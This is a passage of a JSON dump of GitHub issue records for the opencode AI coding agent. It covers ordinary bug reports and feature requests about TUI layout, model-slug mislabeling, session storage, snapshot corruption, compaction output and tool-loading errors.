tool-output files) on request.",
        "url": "https://github.com/anomalyco/opencode/issues/42224",
        "createdAt": "2026-08-13T02:30:48Z",
        "updatedAt": "2026-08-13T02:31:43Z",
        "timestamp": "2026-08-13T02:31:43Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "zukktest-cell",
        "state": "open",
        "assignees": [
          "jlongster"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42225",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "TUI does not re-layout on terminal shrink (only on grow), leaving stale width",
        "text": "## Summary When the terminal is resized, the opencode TUI re-layouts on **grow** but not on **shrink**, and not on the initial attach. The drawn width stays at its previous value, so the TUI either leaves blank space or overflows the terminal. Measured in a browser-hosted terminal (xterm.js over a WebSocket PTY, opencode 1.18.16): | terminal columns | columns opencode actually draws | result | |---|---|---| | 100 (initial) | 78 | under-fills — blank space on the right | | 119 (grown) | 117 | correct, follows the resize | | 68 (shrunk) | 117 | stale — overflows the terminal | ## The resize does reach the process This is not a missing-notification problem. The chain was verified layer by layer: - the terminal element resizes - xterm.js recomputes its grid (26 -> 15 -> 31 rows) - the frontend sends the new size over the WebSocket: `{\"type\":\"resize\",\"data\":{\"cols\":68,\"rows\":27}}` - the PTY receives it and delivers SIGWINCH — a plain `bash` on the *same* host over the *same* transport re-wraps correctly, so the signal is being delivered Only the last step fails: opencode receives the new size and re-layouts on grow, but keeps the old width on shrink and on the initial draw. ## Workaround Forcing a redraw inside the TUI (e.g. `Ctrl+L`) restores the correct layout, which is consistent with \"the size is known, but no re-layout is scheduled\". ## Environment - opencode-ai 1.18.16 (release notes for 1.18.17 and 1.18.18 contain no resize-related changes, so this is likely still present) - Linux x86_64; the terminal is xterm.js in a browser, over a WebSocket PTY bridge - Reproduces on every attach; not specific to a model or provider",
        "url": "https://github.com/anomalyco/opencode/issues/42225",
        "createdAt": "2026-08-13T02:32:21Z",
        "updatedAt": "2026-08-13T13:29:48Z",
        "timestamp": "2026-08-13T13:29:48Z",
        "metrics": {
          "reactions": 0,
          "comments": 5
        },
        "labels": [],
        "author": "HermanShi",
        "state": "open",
        "assignees": [
          "kommander"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42228",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "deepseek-v4-pro and deepseek-v4-flash slugs serve non-DeepSeek models (identity probe evidence)",
        "text": "## Summary Identity probes against OpenCode Go's DeepSeek slugs show the endpoint is serving a **rotating pool of non-DeepSeek models**, not DeepSeek V4. ## Evidence (2026-08-12, endpoint https://opencode.ai/zen/go/v1/chat/completions, browser UA required — Cloudflare 1010 blocks urllib default UA) **deepseek-v4-pro** (max_tokens=300, identity question): - Response: \"I am ChatGPT, powered by OpenAI's GPT-4o model, built by OpenAI, and my knowledge cutoff date is June 2024.\" - Earlier probe (same day): reasoning content opened with \"The system says 'You are Gemini, a large language model built by Google'\" - Two requests → two different identities ⇒ rotating pool. **deepseek-v4-flash** (same probe): - Reasoning content: \"I'm ChatGPT, built by OpenAI...\" The response `model` field echoes the request slug, so it is not evidence of the serving model. ## Impact - The Go subscription tier advertises DeepSeek V4 Pro but serves GPT-4o/Gemini-class models — a material quality/labeling mismatch for users routing coding work by model name. - OpenCode's data page lists \"DeepSeek V4 Pro 0813\" (released 2026-08-12) with zero usage — the bare slug has not been updated to the GA build. - Related prior report: #40409 (deepseek-v4-flash serving a V3.2-era checkpoint; closed as not planned). ## Questions 1. What model does the bare `deepseek-v4-pro` slug actually serve on Go? 2. Will Go serve the 0813 GA build, and can we get a dated slug (e.g. `deepseek-v4-pro-0813`) for pinning? 3. Is there a plan to correct the catalog so the slug name reflects the served model?",
        "url": "https://github.com/anomalyco/opencode/issues/42228",
        "createdAt": "2026-08-13T02:43:44Z",
        "updatedAt": "2026-08-13T10:35:55Z",
        "timestamp": "2026-08-13T10:35:55Z",
        "metrics": {
          "reactions": 0,
          "comments": 3
        },
        "labels": [],
        "author": "dmdyne99",
        "state": "closed",
        "assignees": [
          "MrMushrooooom"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42230",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "New session created via /new gets projectID=global instead of the directory's project, making prior sessions invisible in /sessions",
        "text": "# Description ## Environment - opencode version: 1.18.17 - OS: macOS (darwin), TUI - Working directory: a git repo with a linked worktree (.worktrees/magazine-portfolio) - git config --global safe.directory = * ## Description After pressing /new in a directory that already has an associated project, the new session is created with projectID=global instead of the project ID. Since the /sessions picker appears to filter by project, only \"global\" sessions are shown, and all prior sessions (which belong to the real project) disappear from the list. Data is not lost — the old sessions are intact in the DB — but the user cannot switch back to them from the UI. ## Steps to reproduce 1. Start opencode in /path/to/repo (git repo). 2. Do some work in a session; the session gets assigned to the directory's project (projectID=<hash>). 3. Press /new to start a new session in the same directory. 4. Run /sessions — only the current session is listed. ## Expected behavior The new session inherits the directory's existing project ID; /sessions shows all sessions for that directory. ## Actual behavior The new session is created with projectID=global; /sessions only shows global-project sessions. Log evidence (from ~/.local/share/opencode/log/opencode.log) 02:45:46 level=INFO message=\"booting location services\" directory=/Users/lichao/git/opencode_test workspaceID=undefined 02:45:46 level=INFO message=\"project copy refresh done\" projectID=3c7c11a5... updated=[] removed=[] 02:46:49 level=INFO message=created id=ses_006fc1c3... projectID=global directory=/Users/lichao/git/opencode_test workspaceID=undefined title=\"New session - ...\" Note that projectID=3c7c11a5... (the correct project) was known to the same instance ~1 minute earlier, and a session created at 02:44:37 got the correct ID. ## Additional observations - The same instance also reports the directory as \"not a git repo\" (env detection says Is directory a git repo: no) even though git status works fine. - Timeline: the opencode instance started (01:45 UTC) before the git repo was initialized (~01:55 UTC). Sessions created before repo init got global and were later re-associated to the project — but the post-init /new session was not. - All sessions in another directory (my-daily-work, also a git repo) are under global as well, same symptom. ## Workaround Manually reassign in the DB (after quitting opencode): sqlite3 ~/.local/share/opencode/opencode.db \\ \"UPDATE session SET project_id='<project_id>' WHERE id='<session_id>';\" (project_id can be found via SELECT id, worktree FROM project;)",
        "url": "https://github.com/anomalyco/opencode/issues/42230",
        "createdAt": "2026-08-13T02:57:50Z",
        "updatedAt": "2026-08-13T02:59:20Z",
        "timestamp": "2026-08-13T02:59:20Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "licsky",
        "state": "open",
        "assignees": [
          "jlongster"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42232",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "titlebar update button extra spacing",
        "text": "### Description 我们发现在opencode桌面端（Windows）中 更新按钮中“更新”左侧出现了一些空白内容 ### Plugins _No response_ ### OpenCode version 1.18.16 ### Steps to reproduce 1.获取到更新 2.使用中文版本（桌面端） 3.使焦点位于更新按钮 ### Screenshot and/or share link <img width=\"668\" height=\"86\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/721f7745-7fa2-4c06-98ab-3639213a2d4e\" /> ### Operating System Windows 11 ### Terminal _No response_",
        "url": "https://github.com/anomalyco/opencode/issues/42232",
        "createdAt": "2026-08-13T03:14:49Z",
        "updatedAt": "2026-08-13T03:15:43Z",
        "timestamp": "2026-08-13T03:15:43Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "farmer-snack",
        "state": "open",
        "assignees": [
          "Hona"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42234",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "TUI stays alive with EOF stdin and no TTY",
        "text": "### Reproduction ```sh docker run -d --name opencode-eof node:22-bookworm-slim sleep infinity docker exec opencode-eof npm install -g opencode-ai@1.18.18 timeout -s KILL 8s docker exec opencode-eof opencode </dev/null docker top opencode-eof -eo pid,ppid,tty,stat,etime,args ``` ### Actual `opencode` does not exit. After the `docker exec` client is killed, the TUI process remains in the container with no TTY. ### Expected Exit with a clear error when the TUI has EOF stdin and no prompt. Otherwise the process can hold an active exec session indefinitely and prevent auto-sleep for idle environments.",
        "url": "https://github.com/anomalyco/opencode/issues/42234",
        "createdAt": "2026-08-13T03:32:40Z",
        "updatedAt": "2026-08-13T03:33:57Z",
        "timestamp": "2026-08-13T03:33:57Z",
        "metrics": {
          "reactions": 1,
          "comments": 1
        },
        "labels": [],
        "author": "xichen1997",
        "state": "open",
        "assignees": [
          "kommander"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42237",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "snapshot: corrupt index causes repeated capture failures and unresponsive service",
        "text": "## Summary Snapshot capture writes into per-workspace snapshot git repositories under `~/.local/share/opencode/snapshot/<project.id>/<hash>`. When the service is restarted (including automatic `next` channel updates) mid-capture, the repository's `.git/index` is left corrupt (signature `0x00000000`). From then on every capture attempt fails with `Git.OperationError: hatalı imza 0x00000000 / fatal: indeks dosyası hasarlı`, producing thousands of warnings per hour and eventually making the web UI (and service) unresponsive after roughly 10-30 conversation steps. ## Environment - opencode version: 0.0.0-next-17400 (observed failures also on 0.0.0-next-17292..17296) - OS: Linux 7.0.0-28-generic #28~24.04.1-Ubuntu SMP x86_64 - Terminal: TERM=xterm-256color - Shell: /bin/bash - Install/channel: npm, next (auto-update observed: 13:57Z, 14:07Z, 14:17Z, 14:35Z, 14:46Z) - Active plugins: /home/ugur/Projects/opencode-omni/dist/plugin.js, /home/ugur/Projects/opencode-rust-coder ## Reproduction 1. Trigger a service restart while a session is active (e.g. `opencode2 service restart`, or wait for an automatic `next` update which restarts the service). 2. Send a message in the web UI / any session. The snapshot capture runs per event and writes the snapshot repo index. 3. If the restart interrupted a capture, subsequent captures keep failing: each event logs `failed to capture snapshot` with `Git.OperationError: error: hatalı imza 0x00000000\\nfatal: indeks dosyası hasarlı`. 4. After roughly 10-30 steps (5-20 minutes), the web UI stops responding. ## Expected Behavior - Snapshot index writes should be atomic (temp file + rename) and/or capture should self-heal a corrupt index (e.g. recreate it) instead of failing forever. - A corrupt index should not accumulate failures to the point where the service becomes unresponsive. ## Actual Behavior - `packages/core/src/snapshot.ts` has no atomic write pattern (no writeFile/rename) and no self-heal for a corrupt index. - Capture runs git subprocesses (`packages/core/src/git.ts:192` `run(cwd, proc)`), so an interrupted write leaves a partial index. - 13,780 `failed to capture snapshot` warnings accumulated between 14:25Z and 19:24Z on 2026-08-12; the web UI became unresponsive in this window. - Manual repair (`rm .git/index && git reset` in the affected snapshot repos) stopped the failures completely: 0 failures after 19:24:33Z over 8+ hours. ## Additional Context - Snapshot repos live at `~/.local/share/opencode/snapshot/<project.id>/<hash>`; the git repository root is the session dir itself (branches/config/HEAD/index present, no nested `.git`). - Snapshot can be disabled via config (`\"snapshots\": false`, checked via `Config.latest(config, \"snapshots\") !== false` in `snapshot.ts`), but default-on should be resilient. - The affected repo index signature was `0x00000000` (4-byte check of the `index` file). - Workaround that resolved it: recreate the corrupt index files in the snapshot directories (`rm index && git reset`) and restart the service.",
        "url": "https://github.com/anomalyco/opencode/issues/42237",
        "createdAt": "2026-08-13T04:01:12Z",
        "updatedAt": "2026-08-13T04:10:37Z",
        "timestamp": "2026-08-13T04:10:37Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [
          "2.0"
        ],
        "author": "ugur-murat-alt",
        "state": "open",
        "assignees": [
          "rekram1-node"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42238",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "opencode run --format json emits auto-compaction internals as ordinary text events",
        "text": "## Summary When automatic compaction occurs, `opencode run --format json --thinking --auto` emits internal compaction output as normal `type: \"text\"` JSONL events. This includes the compaction assistant summary and, in some cases, the synthetic user continuation prompt. JSONL consumers cannot distinguish these from user-visible assistant output. ## Reproduction 1. Create or resume a session close enough to the model context limit to trigger automatic compaction. 2. Run: ```sh opencode run --format json --thinking --auto --session <session-id> ``` 3. Capture stdout JSONL. 4. After compaction, observe normal text events containing the compaction summary and possibly: ```text Continue if you have next steps, or stop and ask for clarification if you are unsure how to proceed. ``` ## Expected behavior Ordinary `text` events should contain only final, user-visible assistant output. Internal compaction content should either be omitted, emitted as a distinct control/compaction event, or include enough owner-message metadata (`role`, `summary`, `mode`, `agent`) for consumers to filter it safely. In particular, synthetic user content must not be emitted as visible assistant text. ## Actual behavior The JSON runner outputs completed text parts based on `part.type === \"text\"` and `part.time.end`, without checking the owner message. Consequently, these internal parts are emitted as normal text, for example: ```json {\"type\":\"text\",\"part\":{\"type\":\"text\",\"text\":\"<internal compaction summary>\"}} {\"type\":\"text\",\"part\":{\"type\":\"text\",\"text\":\"Continue if you have next steps, or stop and ask for clarification if you are unsure how to proceed.\",\"synthetic\":true,\"metadata\":{\"compaction_continue\":true}}} ``` This can expose compaction summaries that include serialized history, tool-call/tool-result transcripts, or other internal content. One downstream integration observed an erroneous 73,227-character assistant message containing 26 tool calls and 27 tool results. ## Root-cause evidence - `session/compaction.ts` creates a compaction assistant message marked `mode: \"compaction\"`, `agent: \"compaction\"`, and `summary: true`. - Its summary is persisted as an otherwise ordinary text part and is published to the live event stream. - `cli/cmd/run.ts` subscribes to that stream and emits completed text parts without inspecting their owner message. - After successful automatic compaction, the synthetic continuation user message can also be published; the same missing role/owner filtering allows it to be emitted as `text`. Filtering only `part.synthetic` would not fully fix this: compaction-summary text parts themselves do not carry that flag. ## Environment - OpenCode repository: current `dev` branch as of 2026-08-13 - Command: `opencode run --format json --thinking --auto [--session <id>]` - Plugins: none required - OS: any (non-interactive JSON runner behavior) A regression test could publish a completed compaction-summary assistant text part and a synthetic continuation user text part to the runner event loop, then assert neither is emitted as a normal `text` event.",
        "url": "https://github.com/anomalyco/opencode/issues/42238",
        "createdAt": "2026-08-13T04:07:37Z",
        "updatedAt": "2026-08-13T12:19:25Z",
        "timestamp": "2026-08-13T12:19:25Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "AmAzing129",
        "state": "open",
        "assignees": [
          "kitlangton"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42239",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "35;125;28M in console after existing",
        "text": "### Description If I exit opencode (Ubuntu) it writes 35;125;28M into the console which prevents me from running directly the next command, I need first to delete these. ### Plugins _No response_ Version 1.18.18 _No response_ ### Steps to reproduce Start opencode via the command line ### Screenshot and/or share link <img width=\"131\" height=\"55\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/b6aa9c5d-d120-44dc-bd29-de32f21dcdb8\" /> ### Operating System Ubuntu 26.04 ### Terminal bash in default Ubuntu Terminal",
        "url": "https://github.com/anomalyco/opencode/issues/42239",
        "createdAt": "2026-08-13T04:11:16Z",
        "updatedAt": "2026-08-13T04:13:34Z",
        "timestamp": "2026-08-13T04:13:34Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "vogella",
        "state": "open",
        "assignees": [
          "kommander"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42242",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[FEATURE]: Add opencode-sandbox to ecosystem documentation",
        "text": "- [x] I have verified this feature I am about to request has not been suggested before. ## Describe the enhancement you want to request Add [opencode-sandbox](https://github.com/isanchez31/opencode-sandbox-plugin) to the ecosystem documentation. It provides OS-level sandboxing for agent-executed bash commands using seatbelt on macOS and bubblewrap on Linux. Listing it makes this available third-party plugin easier for OpenCode users to discover. ## Difference from #41439 This is distinct from [opencode-docker](https://github.com/pkhamre/opencode-docker). That project runs the OpenCode CLI in a security-hardened Docker container; opencode-sandbox is a plugin that applies native, per-command isolation with macOS seatbelt or Linux bubblewrap, without Docker.",
        "url": "https://github.com/anomalyco/opencode/issues/42242",
        "createdAt": "2026-08-13T04:26:40Z",
        "updatedAt": "2026-08-13T04:32:06Z",
        "timestamp": "2026-08-13T04:32:06Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "isanchez31",
        "state": "open",
        "assignees": [
          "neriousy"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42246",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "V2 drops prompt cache affinity for OpenRouter and OpenAI Chat",
        "text": "### Description V2 creates a stable prompt cache key from the session ID, but that key does not reach every route The session runner only sets `providerOptions.openai.promptCacheKey`. This works for OpenAI Responses, but: - OpenRouter reads `providerOptions.openrouter.promptCacheKey`, so V2 OpenRouter requests omit `prompt_cache_key`. - Native OpenAI Chat does not lower `providerOptions.openai.promptCacheKey` into the Chat Completions body. As a result, consecutive requests in the same V2 session can lose provider cache affinity even though their prompt history has a reusable prefix. Potentially related or part of #39907, which described stable OpenRouter session cache keys. ### Plugins _No response_ ### OpenCode version dev at 37fe5c83dc ### Steps to reproduce 1. Create two consecutive V2 requests in the same session using an OpenRouter model. 2. Inspect the prepared OpenRouter request body. 3. Observe that `prompt_cache_key` is absent because the runner sets the key under the `openai` namespace while the route reads `openrouter`. 4. Repeat using native OpenAI Chat Completions. 5. Observe that the request carries `providerOptions.openai.promptCacheKey`, but the prepared Chat body omits `prompt_cache_key`. Expected: supported routes receive the same stable session-derived cache key on every turn. Generic OpenAI-compatible providers should remain unchanged because they may reject unsupported OpenAI-specific fields. ### Screenshot and/or share link n/a - but visible in request bodies ### Operating System _No response_ ### Terminal _No response_",
        "url": "https://github.com/anomalyco/opencode/issues/42246",
        "createdAt": "2026-08-13T05:47:51Z",
        "updatedAt": "2026-08-13T05:48:55Z",
        "timestamp": "2026-08-13T05:48:55Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "phall1",
        "state": "open",
        "assignees": [
          "kitlangton"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42247",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[FEATURE]:Add a dedicated panel for viewing shell tool invocations by the agent",
        "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request ## [Feature Request] Add a dedicated panel for viewing shell tool invocations by the agent ### Problem OpenCode’s built‑in shell tools (PowerShell, Bash, etc.) are extremely useful, but in the current TUI, every invocation only appears as a short log entry in the conversation flow. This makes it difficult to follow what the agent is doing behind the scenes, especially when multiple commands are run, when they produce long outputs, or when you need to quickly review past executions. As a user, I often find myself: - Scrolling back through the conversation to find a specific command and its output. - Missing the exit status or stderr because they are buried in the log. - Unable to get an at‑a‑glance overview of which commands the agent has executed and in what order. This reduces transparency and makes debugging or auditing the agent’s actions more cumbersome than it needs to be. ### Proposed Solution I would like to request a **dedicated panel or sidebar** that provides a structured, real‑time view of all shell tool invocations made by the agent during the current session. The panel could be toggled with a keyboard shortcut (e.g., `Ctrl+Shift+S`) and should display, for each invocation: - A sequential index or timestamp. - The full command line (with clear indication of the shell used, e.g., `[bash]` or `[pwsh]`). - The exit code (coloured: green for `0`, red for non‑zero). - The combined stdout/stderr output (collapsible/expandable to save space). - The working directory (if available). - A status indicator (running, completed, failed, or killed). Ideally, the panel would also allow: - **Copying** a command or its output with a single keypress. - **Filtering** or **searching** through past invocations. - **Clicking** on an entry to jump to that point in the conversation (or highlight it). ### Why This Matters - **Transparency** – Users can see exactly what the agent is doing, which builds trust and aids learning. - **Debugging** – When something goes wrong, having a clean history of commands and their outputs speeds up troubleshooting. - **Efficiency** – No more endless scrolling; everything is organised in one place. - **Education** – New users can better understand how the agent uses shell tools to solve tasks. ### Additional Ideas - If the panel is too heavy for the TUI, a lightweight pop‑up that appears on demand would also be a good alternative. - The panel could be integrated with the existing log system but presented in a more human‑friendly, tabular format. - For long‑running commands, showing a live streaming output inside the panel would be amazing. ### Conclusion I believe this feature would significantly improve the user experience of OpenCode, making the agent’s actions more visible and manageable. Thank you for considering this request! --- *(If this is already possible via some hidden flag or plugin, please point me to it – otherwise, I hope this can be added to the roadmap.)*",
        "url": "https://github.com/anomalyco/opencode/issues/42247",
        "createdAt": "2026-08-13T05:51:27Z",
        "updatedAt": "2026-08-13T06:55:59Z",
        "timestamp": "2026-08-13T06:55:59Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "Thd3178",
        "state": "closed",
        "assignees": [
          "simonklee"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42249",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "event table keeps every message.updated.1 snapshot: 378 MB of it is superseded copies",
        "text": "### Description `~/.local/share/opencode/opencode.db` on this machine is 1.4 GB. 434 MB of that is the `event` table, and 378 MB of the `event` table is `message.updated.1` rows. Those 17,940 rows cover only **4,639 distinct messages**. Each `message.updated.1` event carries a full snapshot of the message aggregate, so a long streaming response gets written once per update at ever-increasing size. Keeping just the newest snapshot per message would be 16 MB instead of 378 MB — **96% of that table is superseded copies of messages that are still fully present in their final form**. Worst single message here: `msg_f292cc1dc001Htc4M9Xl7rrXLY` — 222 snapshots, 87 MB for one message. Two things make it accumulate rather than plateau: - The `message` and `part` projections already hold current state (18,734 and 81,633 rows). After replay, the older snapshots have no reader. - `PRAGMA auto_vacuum` is `0` and there is no retention or compaction on `event`, so nothing ever shrinks the file. ### Steps to reproduce Use opencode for a few weeks with long streaming responses, then against `opencode.db`: ```sql -- what the event table is made of SELECT type, COUNT(*) AS n, SUM(length(data))/1048576 AS MB FROM event GROUP BY type ORDER BY MB DESC; -- message.updated.1 | 17940 | 378 -- message.part.updated.1 | 43151 | 54 -- how many of those snapshots are superseded SELECT COUNT(*) AS events, COUNT(DISTINCT json_extract(data,'$.info.id')) AS distinct_messages, SUM(length(data))/1048576 AS MB FROM event WHERE type='message.updated.1'; -- 17940 | 4639 | 378 -- size if only the newest snapshot per message were kept WITH last AS ( SELECT json_extract(data,'$.info.id') AS msg, MAX(length(data)) AS l FROM event WHERE type='message.updated.1' GROUP BY msg) SELECT SUM(l)/1048576 AS keep_last_MB FROM last; -- 16 ``` ### Possible directions - Store deltas for `message.updated.1` rather than whole-aggregate snapshots. - Or collapse to the newest snapshot per message during startup maintenance — the intermediate ones are prefixes of the final state, so this is lossless for anything replaying to current state. - Either way `VACUUM` (or `auto_vacuum=INCREMENTAL` plus `incremental_vacuum`) is needed afterwards, since freed pages are currently never returned to the OS. ### OpenCode version 1.18.16 ### Operating System macOS 26.5.2 (arm64)",
        "url": "https://github.com/anomalyco/opencode/issues/42249",
        "createdAt": "2026-08-13T05:55:59Z",
        "updatedAt": "2026-08-13T06:28:19Z",
        "timestamp": "2026-08-13T06:28:19Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "thedavidweng",
        "state": "closed",
        "assignees": [
          "kitlangton"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42250",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Tool files that fail to load crash the whole session/registry instead of being skipped",
        "text": "**Title:** Tool files that fail to load crash the whole session/registry instead of being skipped ## Problem When a project has a `.opencode/tool/*.{js,ts}` file that fails to load (for example, it imports a package that couldn't be installed), the failure **dies the entire tool registry** — and with it, every session run in that project. A single bad tool file makes the project unusable. The tool registry in `packages/opencode/src/tool/registry.ts` globs `{tool,tools}/*.{js,ts}` and dynamically `import()`s each file (line ~195) with **no error handling around the import**. If the file throws (e.g. `ResolveMessage: Cannot find package ...`), the defect propagates and kills the registry's state effect, so the whole run fails. Any *valid* tool files in the same project never get a chance to load. ## Repro 1. Create a project with a broken custom tool: ```ts // .opencode/tool/broken.ts import { tool } from \"@opencode-ai/plugin\" import { something } from \"@opencode-ai/definitely-not-a-real-package\" export default tool({ description: \"broken\", args: { x: tool.schema.string() }, async execute() { return \"\" } }) ``` 2. Open that project in the web UI and send any prompt. 3. **Observed:** the whole run dies with the `ResolveMessage` stack instead of answering. ## Expected A failing tool file should be skipped with a warning (log + UI), and the rest of the tool registry (including valid sibling tool files) should still load so the session can proceed. ## Root cause `packages/opencode/src/tool/registry.ts` — the `import()` inside the registry state builder has no `try/catch`; a single failing file dies the registry. ## Notes - I hit this using **headless opencode via the web browser** (the `opencode serve` API driven from a browser session); I did not test or investigate the TUI. - The trigger here (an auto-installed tool dependency failing to resolve) is separate from the module-resolution mechanism itself; a missing/uninstallable package in any tool file reproduces it. - Related: this is the repro used to hit the silently-dropped error in the companion issue about session run defects.",
        "url": "https://github.com/anomalyco/opencode/issues/42250",
        "createdAt": "2026-08-13T05:57:23Z",
        "updatedAt": "2026-08-13T06:51:57Z",
        "timestamp": "2026-08-13T06:51:57Z",
        "metrics": {
          "reactions": 0,
          "comments": 3
        },
        "labels": [],
        "author": "agent-harnesses[bot]",
        "state": "open",
        "assignees": [
          "nexxeln"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42251",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Session run defects are silently dropped — UI shows no error, session just goes idle",
        "text": "**Title:** Session run defects are silently dropped — UI shows no error, session just goes idle ## Problem When a session run fails with an unexpected defect (e.g. a tool-load failure, a resolver error, a provider bug), **no error is surfaced in the UI at all**. The session transitions to idle as if it succeeded — the user gets no error message, nothing to indicate the run failed. ## Repro 1. Set up a project whose tool load fails (a `.opencode/tool/broken.ts` importing a nonexistent package). 2. In the web UI, open a session in that project and send any prompt. 3. **Observed (before fix):** the assistant turn ends, the session goes idle, and **no error is shown** — the real `ResolveMessage` never appears anywhere in the UI. (With `opencode run` in a terminal the failure does surface, but only as the generic masked fallback `Unexpected server error. Check server logs for details.` — the real cause is still lost.) ## Root cause The `session.error` event is published **after** the `session.status idle` event, so UI consumers that stop processing on idle never render it. `packages/opencode/src/effect/runner.ts` — `finishRun` (line ~70) publishes the session's idle status (via the `onIdle` hook → `session.status idle`) **before** completing the run's Deferred. The failure then propagates out of `ensureRunning` to the HTTP handler, whose `catchCause` publishes `session.error`. The SSE ordering is therefore always: ``` session.status busy → session.status idle → session.error (error arrives too late) ``` Clients that stop consuming on `idle` never see the error, and the web session renderer marks the turn complete when idle arrives — so the error is never displayed. ## Expected The real error message must reach the UI. The `session.error` event should be published **before** the idle status so consumers that stop on idle still receive and render it. ## Notes - I hit this using **headless opencode via the web browser** (the `opencode serve` API driven from a browser session); I did not test or investigate the TUI. - Related to the companion issue about tool files that fail to load: the broken-tool repro is the easiest way to trigger this, but this issue covers any unexpected session-run defect. - The masking boundary lives in `packages/opencode/src/server/routes/instance/httpapi/middleware/error.ts` (defect-only 500s → `NamedError.Unknown` with `ref`); the core problem here is ordering, not just the mask.",
        "url": "https://github.com/anomalyco/opencode/issues/42251",
        "createdAt": "2026-08-13T05:57:31Z",
        "updatedAt": "2026-08-13T06:52:02Z",
        "timestamp": "2026-08-13T06:52:02Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "agent-harnesses[bot]",
        "state": "open",
        "assignees": [
          "jlongster"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42255",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[Bug]:Chinese is not displayed on the screen when the commands are open",
        "text": "### Description Chinese is not displayed on the screen when the commands are open. ### Plugins goopspec opencode-throughput opencode-firecrawl opencode-notificator opencode-tavily spec-driven-develop ### OpenCode version 1.18.18 ### Steps to reproduce 1.Open opencode. 2.Enter something in Chinese. 2.Press ctrl+p to open the commands. ### Screenshot and/or share link <img width=\"1916\" height=\"1037\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/3919ec4f-e308-4183-ae80-94f3808e50c3\" /> <img width=\"1920\" height=\"1036\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/b19ab6a4-ce37-4d0e-905a-ee2818a5f2d9\" /> ### Operating System Windows 10 ### Terminal Windows Terminal",
        "url": "https://github.com/anomalyco/opencode/issues/42255",
        "createdAt": "2026-08-13T06:26:58Z",
        "updatedAt": "2026-08-13T06:28:44Z",
        "timestamp": "2026-08-13T06:28:44Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "han-yi794",
        "state": "open",
        "assignees": [
          "simonklee"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42258",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Tool files that fail to load crash the whole session/registry instead of being skipped",
